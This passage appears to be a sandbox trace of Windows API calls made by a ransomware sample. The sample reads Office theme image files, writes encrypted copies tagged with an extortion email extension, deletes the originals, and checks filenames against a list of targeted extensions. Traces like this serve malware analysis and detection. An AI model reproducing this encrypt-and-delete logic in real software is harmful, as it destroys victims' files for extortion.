[0079.948] GetLastError () returned 0x0 [0079.949] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0080.009] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0080.011] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0080.012] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.012] SetEndOfFile (hFile=0x1e8) returned 1 [0080.013] CloseHandle (hObject=0x1e8) returned 1 [0080.014] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.014] SetEndOfFile (hFile=0x198) returned 1 [0080.015] CloseHandle (hObject=0x198) returned 1 [0080.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0080.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.016] lstrlenW (lpString=".doc") returned 4 [0080.016] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.016] lstrlenW (lpString=".docx") returned 5 [0080.016] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.016] lstrlenW (lpString=".pdf") returned 4 [0080.016] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.016] lstrlenW (lpString=".xls") returned 4 [0080.016] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.016] lstrlenW (lpString=".xlsx") returned 5 [0080.016] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.016] lstrlenW (lpString=".ppt") returned 4 [0080.016] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.017] lstrlenW (lpString=".zip") returned 4 [0080.017] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.017] lstrlenW (lpString=".rar") returned 4 [0080.017] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.017] lstrlenW (lpString=".bz2") returned 4 [0080.017] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.017] lstrlenW (lpString=".7z") returned 3 [0080.017] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.017] lstrlenW (lpString=".dbf") returned 4 [0080.017] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.017] lstrlenW (lpString=".1cd") returned 4 [0080.017] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.017] lstrlenW (lpString=".jpg") returned 4 [0080.017] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.017] lstrlenW (lpString=".doc") returned 4 [0080.017] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.017] lstrlenW (lpString=".docx") returned 5 [0080.017] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.017] lstrlenW (lpString=".pdf") returned 4 [0080.017] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.017] lstrlenW (lpString=".xls") returned 4 [0080.017] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.017] lstrlenW (lpString=".xlsx") returned 5 [0080.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.017] lstrlenW (lpString=".ppt") returned 4 [0080.017] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.018] lstrlenW (lpString=".zip") returned 4 [0080.018] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.018] lstrlenW (lpString=".rar") returned 4 [0080.018] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.018] lstrlenW (lpString=".bz2") returned 4 [0080.018] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.018] lstrlenW (lpString=".7z") returned 3 [0080.018] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.018] lstrlenW (lpString=".dbf") returned 4 [0080.018] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.018] lstrlenW (lpString=".1cd") returned 4 [0080.018] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0080.018] lstrlenW (lpString=".jpg") returned 4 [0080.018] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.018] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0080.018] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.020] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1453) returned 1 [0080.020] CloseHandle (hObject=0x198) returned 1 [0080.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0080.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.020] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.020] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0080.025] GetLastError () returned 0x0 [0080.025] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x5ad, lpOverlapped=0x0) returned 1 [0080.027] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0080.028] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0080.028] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.028] SetEndOfFile (hFile=0x1e8) returned 1 [0080.028] CloseHandle (hObject=0x1e8) returned 1 [0080.028] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.029] SetEndOfFile (hFile=0x198) returned 1 [0080.029] CloseHandle (hObject=0x198) returned 1 [0080.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.030] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0080.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.030] lstrlenW (lpString=".doc") returned 4 [0080.030] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.030] lstrlenW (lpString=".docx") returned 5 [0080.030] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.030] lstrlenW (lpString=".pdf") returned 4 [0080.030] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.030] lstrlenW (lpString=".xls") returned 4 [0080.030] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.030] lstrlenW (lpString=".xlsx") returned 5 [0080.030] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.030] lstrlenW (lpString=".ppt") returned 4 [0080.030] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.030] lstrlenW (lpString=".zip") returned 4 [0080.030] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.030] lstrlenW (lpString=".rar") returned 4 [0080.030] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.030] lstrlenW (lpString=".bz2") returned 4 [0080.030] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.030] lstrlenW (lpString=".7z") returned 3 [0080.030] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.030] lstrlenW (lpString=".dbf") returned 4 [0080.031] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.031] lstrlenW (lpString=".1cd") returned 4 [0080.031] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.031] lstrlenW (lpString=".jpg") returned 4 [0080.031] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.031] lstrlenW (lpString=".doc") returned 4 [0080.031] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.031] lstrlenW (lpString=".docx") returned 5 [0080.031] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.031] lstrlenW (lpString=".pdf") returned 4 [0080.031] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.031] lstrlenW (lpString=".xls") returned 4 [0080.031] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.031] lstrlenW (lpString=".xlsx") returned 5 [0080.031] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.031] lstrlenW (lpString=".ppt") returned 4 [0080.031] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.031] lstrlenW (lpString=".zip") returned 4 [0080.031] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.031] lstrlenW (lpString=".rar") returned 4 [0080.031] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.031] lstrlenW (lpString=".bz2") returned 4 [0080.031] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.031] lstrlenW (lpString=".7z") returned 3 [0080.031] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.031] lstrlenW (lpString=".dbf") returned 4 [0080.032] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.032] lstrlenW (lpString=".1cd") returned 4 [0080.032] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0080.032] lstrlenW (lpString=".jpg") returned 4 [0080.032] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.032] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0080.032] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.032] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=25106) returned 1 [0080.032] CloseHandle (hObject=0x198) returned 1 [0080.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0080.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.033] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.033] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0080.034] GetLastError () returned 0x0 [0080.034] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x6212, lpOverlapped=0x0) returned 1 [0080.036] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x6220, lpOverlapped=0x0) returned 1 [0080.038] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0080.038] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.038] SetEndOfFile (hFile=0x1e8) returned 1 [0080.038] CloseHandle (hObject=0x1e8) returned 1 [0080.038] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.038] SetEndOfFile (hFile=0x198) returned 1 [0080.039] CloseHandle (hObject=0x198) returned 1 [0080.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.040] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0080.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.040] lstrlenW (lpString=".doc") returned 4 [0080.040] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.040] lstrlenW (lpString=".docx") returned 5 [0080.040] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.040] lstrlenW (lpString=".pdf") returned 4 [0080.040] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.040] lstrlenW (lpString=".xls") returned 4 [0080.040] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.040] lstrlenW (lpString=".xlsx") returned 5 [0080.040] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.040] lstrlenW (lpString=".ppt") returned 4 [0080.040] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.041] lstrlenW (lpString=".zip") returned 4 [0080.041] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.041] lstrlenW (lpString=".rar") returned 4 [0080.041] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.041] lstrlenW (lpString=".bz2") returned 4 [0080.041] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.041] lstrlenW (lpString=".7z") returned 3 [0080.041] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.041] lstrlenW (lpString=".dbf") returned 4 [0080.041] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.041] lstrlenW (lpString=".1cd") returned 4 [0080.041] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.041] lstrlenW (lpString=".jpg") returned 4 [0080.041] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.041] lstrlenW (lpString=".doc") returned 4 [0080.041] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.041] lstrlenW (lpString=".docx") returned 5 [0080.041] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.041] lstrlenW (lpString=".pdf") returned 4 [0080.041] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.041] lstrlenW (lpString=".xls") returned 4 [0080.041] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.041] lstrlenW (lpString=".xlsx") returned 5 [0080.041] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.041] lstrlenW (lpString=".ppt") returned 4 [0080.041] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.042] lstrlenW (lpString=".zip") returned 4 [0080.042] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.042] lstrlenW (lpString=".rar") returned 4 [0080.042] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.042] lstrlenW (lpString=".bz2") returned 4 [0080.042] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.042] lstrlenW (lpString=".7z") returned 3 [0080.042] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.042] lstrlenW (lpString=".dbf") returned 4 [0080.042] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.042] lstrlenW (lpString=".1cd") returned 4 [0080.042] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0080.042] lstrlenW (lpString=".jpg") returned 4 [0080.042] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.042] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0080.042] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0080.434] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1347) returned 1 [0080.434] CloseHandle (hObject=0x200) returned 1 [0080.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0080.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0080.434] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.434] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.881] GetLastError () returned 0x0 [0080.881] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: 